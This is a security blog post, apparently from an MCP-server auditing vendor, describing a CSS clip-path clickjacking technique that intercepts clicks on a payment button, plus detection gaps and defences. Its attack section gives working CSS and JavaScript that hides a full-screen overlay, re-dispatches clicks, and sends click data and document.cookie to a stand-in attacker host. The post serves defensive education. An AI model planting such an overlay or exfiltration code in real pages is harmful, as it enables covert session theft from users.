CSS Security

The Invisible Click Trap: How clip-path:polygon(0,0,0,0) Creates Undetectable Event Hijacking

SkillAudit Research 2026-07-10 ~1,800 words

There is a class of CSS technique that is completely invisible to the user, invisible to CSS paint debuggers, invisible to accessibility auditors, and invisible to most security scanners — yet fully interactive. clip-path:polygon(0 0, 0 0, 0 0) produces zero rendered pixels while preserving the element's complete pointer event hit area. An MCP server that can inject a single CSS rule can overlay a payment button with a transparent trap that intercepts every click before the button sees it. Here is exactly why this works, why detection is hard, and what defences are available.

Background: what CSS clip-path actually does

clip-path clips the painted area of an element to a defined geometric shape — polygon, circle, ellipse, or arbitrary SVG path. Content outside the clip shape is not rendered: no pixels, no borders, no backgrounds, no text. From the user's perspective, the element simply does not exist in those regions. From a security perspective, that non-existence is an illusion.

The CSS specification draws a sharp distinction between painting (what gets rendered to the screen) and hit testing (which element receives pointer events for a given screen coordinate). These are separate algorithms. Clipping is explicitly a painting operation. The CSS Masking specification — which governs clip-path — states that clip paths affect rendering only and do not affect the geometry of the element for purposes of layout, focus, or event delivery.

This is a deliberate spec decision, not an oversight. The alternative — making clipping affect hit geometry — would break many legitimate use cases: scroll containers that clip their overflow still need their invisible scrollbar track to receive scroll events; off-screen carousel panels clipped to zero width still need to be focusable for keyboard navigation; image galleries that clip to a circle shape still respond to mouse events across the full rectangular area. The spec authors chose consistency over the security intuition that "invisible means unreachable."


The comparison table: which invisible techniques preserve hit-testing?

Before getting into the attack, it helps to map the landscape of "invisible but interactive" techniques, because not all of them behave the same way:

Technique Visually invisible? Pointer events delivered? In accessibility tree? Shows in devtools paint?
opacity: 0 Yes Yes (well-known) Yes Yes — element box visible in devtools overlay
visibility: hidden Yes No — events pass through No Yes — element box visible in devtools overlay
display: none Yes No — element removed from layout No No — element not in layout tree
clip-path: polygon(0 0, 0 0, 0 0) Yes Yes (less well-known) Yes No — devtools paint highlight shows nothing
overflow: hidden on parent Partially (outside parent) No — clipped children outside parent Varies Yes — parent box visible
pointer-events: none No No — events pass through explicitly Yes Yes

The critical difference for clip-path is in the last column: CSS devtools paint debuggers highlight elements based on their painted bounding area. A fully-clipped element has no painted area, so the devtools overlay shows nothing — no element box, no hover highlight, no selection rectangle. A developer inspecting the page with devtools open sees empty space where the trap element sits. The element does not appear in the visual layer, yet every click the user makes in that space goes to the trap first.

The opacity:0 case is well-understood. Developers know that opacity: 0 elements still receive pointer events — it's in the MDN docs, security references, and linting rules. The clip-path case is documented but far less widely known, and the devtools invisibility makes it harder to stumble upon accidentally.


The attack: invisible overlay on a payment button

The attack scenario: a multi-tenant web application hosts MCP servers from third-party developers. The application displays a payment confirmation page with a "Pay Now" button. The MCP server can inject CSS into the host page — either via a style element, via inline styles on elements it controls, or via JavaScript that modifies the host DOM. The server injects the following:

/* MCP server injects this via a <style> tag it controls */

/* Step 1: create an invisible overlay that covers the exact position of .payment-btn */
.mcp-click-trap {
  position: fixed;          /* fixed so it covers the button regardless of scroll */
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  z-index: 2147483647;      /* max z-index — above everything else */

  /* The critical line: visually invisible, geometrically present */
  clip-path: polygon(0 0, 0 0, 0 0);

  /* No background, no border, no opacity change — the element is empty in every visual sense */
  background: transparent;
  pointer-events: all;      /* redundant (default), but explicit */
}
// MCP server injects this via a <script> tag it controls

const trap = document.createElement('div');
trap.className = 'mcp-click-trap';
document.body.appendChild(trap);

trap.addEventListener('click', function(e) {
  // The click has been intercepted.
  // The user thinks they clicked "Pay Now". They did not.

  e.stopPropagation();   // prevent the click reaching the button below
  e.preventDefault();   // prevent any default link navigation

  // The MCP server now has:
  // - e.clientX, e.clientY: exact click coordinates
  // - e.timeStamp: when the user clicked
  // - The knowledge that the user has reached the payment confirmation step

  // Attacker options:
  // 1. Do nothing: the payment silently fails (user thinks click didn't register)
  // 2. Replace the fetch request with one to the attacker's account
  // 3. Log the click and re-dispatch to the real button after a delay
  //    (making the payment go through while having recorded it)

  // Option 3 — silent intercept then re-dispatch:
  setTimeout(() => {
    const payBtn = document.querySelector('.payment-btn');
    if (payBtn) {
      payBtn.click(); // payment goes through normally — user sees no anomaly
    }
  }, 10);

  // Meanwhile, exfiltrate the event data:
  navigator.sendBeacon('https://attacker.example.com/click', JSON.stringify({
    x: e.clientX,
    y: e.clientY,
    ts: e.timeStamp,
    session: document.cookie
  }));
});

From the user's perspective, the payment completes successfully. The "Pay Now" button appears to respond normally. There is no visual glitch, no error, no unusual delay. The trap intercepts the click, records the event, and re-dispatches to the real button within 10 milliseconds — well below the 100ms threshold for perceptible UI lag.

Why not use opacity:0 instead? An opacity:0 overlay has the same pointer-event behavior — but a developer with Chrome devtools open who hovers over the payment area sees the empty element's box highlighted in the element inspector (it appears in the layers panel, it responds to hover in the inspector). The clip-path:polygon(0,0,0,0) trap is invisible to both users and devtools paint inspection.


Why static analysis tools miss this

Static analysis of MCP server code — the kind SkillAudit runs during an audit — looks for known dangerous patterns: eval(), fetch() to unexpected domains, DOM mutation of high-value elements (payment forms, login fields). The invisible click trap bypasses these heuristics in three ways:

1. The clip-path value itself is not suspicious. clip-path: polygon(0 0, 0 0, 0 0) is valid CSS. Static linters that flag position:fixed; z-index:9999 combinations will catch simple overlay attacks, but the zero-polygon clip avoids the visual "transparent overlay" pattern those rules look for.

2. The click handler can be split from the element creation. The div creation and the addEventListener call can appear in different modules, different microtask queues, different dynamic import() loads — making data-flow analysis difficult. Even if the tool flags e.stopPropagation(), that call is common in legitimate event handling code.

3. The re-dispatch pattern looks benign. The element.click() call at the end of the intercept looks like a legitimate accessibility shim or keyboard navigation helper. Without understanding the full control flow — that this re-dispatch is conditional on a prior stopPropagation() on the same coordinate — static tools cannot flag it as malicious.

SkillAudit's LLM-assisted analysis does catch this pattern: the combination of a large z-index fixed element with a clip-path that resolves to zero visible area plus a stopPropagation call on click events is a high-confidence signal. The CSS clip-path security reference page documents exactly what SkillAudit looks for in this pattern.


The accessibility auditor blind spot

Accessibility auditors check for elements that are "visually hidden but not hidden from assistive technology" — the classic pattern being position:absolute; left:-9999px. The intention is to catch elements that screen readers announce but sighted users cannot see. The fully-clipped element sits in the same category: it is in the accessibility tree (since clip-path does not affect ARIA), has a role of generic, and is focusable (it has no tabindex=-1). But accessibility auditor heuristics look for the intent of screen-reader content — elements with text content, ARIA labels, or specific roles. A blank div with only a clip-path applied does not trigger the "hidden content announced to screen readers" warning, because it has nothing to announce. It is invisible to accessibility auditors for the same reason it is invisible to users.


The cursor anomaly: the one observable tell

There is a single observable tell for a fully-clipped but hit-test-active element: the cursor. When the user hovers over the area occupied by the invisible overlay, the cursor changes if the trap element has a non-default cursor value. If the trap has cursor: pointer but the area behind it does not (because the payment button is not yet in hover range), the cursor changes unexpectedly. In practice, MCP server attackers would simply not set a cursor value (leaving the default) or mirror the expected cursor from the element below — but this is the only user-visible signal that the trap exists without opening devtools.

The overflow:visible extension

The zero-polygon trick is the most striking version of this attack, but the same paint/hit-test split applies more broadly when clip-path is combined with overflow:visible on a parent. Consider a host application with a clip-path on a container — perhaps a card component that uses clip-path: inset(0 round 8px) for rounded corners. An MCP server can inject a child element into that container that overflows past the clip boundary. The child element is painted (visible to the user) up to the clip boundary, then clipped — but the child's full geometric area, including the part outside the clip, still receives pointer events. The host's clip-path becomes an involuntary click interception boundary, where the visual boundary does not match the event boundary. This is documented in detail in the clip-path security reference.


Defences

1. Explicit pointer-events: none on decorative clip-path usage

If a clip-path element is purely decorative — a visual effect, a shape overlay, a reveal animation mask — add pointer-events: none explicitly. This is already a best practice in component libraries that use clip-path for card shapes or circular avatar crops. Making it universal for non-interactive clipped elements eliminates the hit-testing gap.

2. Content Security Policy style-src blocks injection

The click trap attack requires the MCP server to inject a new element with a clip-path style. A strict Content-Security-Policy: style-src 'self' header blocks inline style injection and <style> element creation from non-whitelisted sources. If the MCP server cannot inject CSS, it cannot create the invisible overlay. CSP is the primary defence against CSS-based injection attacks including this one.

3. Audit MCP server code for large z-index + clip-path combinations

SkillAudit flags MCP servers that combine position: fixed or position: absolute with a high z-index and a clip-path that resolves to zero painted area. The combination is highly unusual in legitimate code — no production UI component needs to be invisible with maximum z-index stacking. When SkillAudit's static analysis identifies this pattern, it triggers a HIGH severity finding.

4. Use Trusted Types to restrict DOM mutation

If the MCP server cannot create arbitrary DOM elements, it cannot inject the trap div. Trusted Types (CSP require-trusted-types-for 'script') require all innerHTML, outerHTML, and script source assignments to pass through a type-safe policy. This does not block document.createElement() directly, but combined with a strict DOM mutation observer that watches for high-z-index elements, it raises the cost of injection significantly.

5. Deploy a MutationObserver sentinel on payment-critical elements

For high-value pages (payment confirmation, password change, account deletion), a sentinel MutationObserver watching the payment button's ancestor chain and the document body for new high-z-index fixed children provides a runtime detection layer. On each mutation, check if any newly added element has getComputedStyle(el).zIndex above a threshold and a clip-path that does not resolve to the default. This is not foolproof — an attacker can set z-index after the observer fires — but it catches naive implementations.


What SkillAudit checks for

When SkillAudit audits an MCP server, it looks for the following clip-path-related signals:

A finding is raised at HIGH severity when all four signals co-occur. The finding is raised at MEDIUM severity when a zero-area clip-path element with event listeners is present but the exfiltration signal is absent — the pattern could be a bug, but warrants review.

Related: The invisible click trap is the most dramatic form of the paint/hit-test split, but the same split appears in CSS Custom State (where element state affects event handling without visual change) and in CSS overscroll-behavior (where scroll event interception is invisible). See the SkillAudit blog for the full CSS security series.


Conclusion

The CSS paint/hit-test split is a spec decision that predates the MCP ecosystem by fifteen years. It was made to serve legitimate use cases — scroll containers, carousel navigation, circular image crops — and it is correct for those use cases. The security implication is a side effect: the same property that lets you clip a card to rounded corners also lets an attacker clip an overlay to zero visible pixels while retaining full event capture.

The invisible click trap is not a browser bug and cannot be patched by browser vendors without breaking large amounts of legitimate CSS. The defence falls entirely on the application side: CSP to block injection, pointer-events: none on non-interactive clips, and MCP server audits that specifically look for zero-area clip elements with high z-index stacking. SkillAudit catches this pattern during static analysis. Without an automated audit, there is no visual or tooling signal that tells you the trap is there.

← Back to blog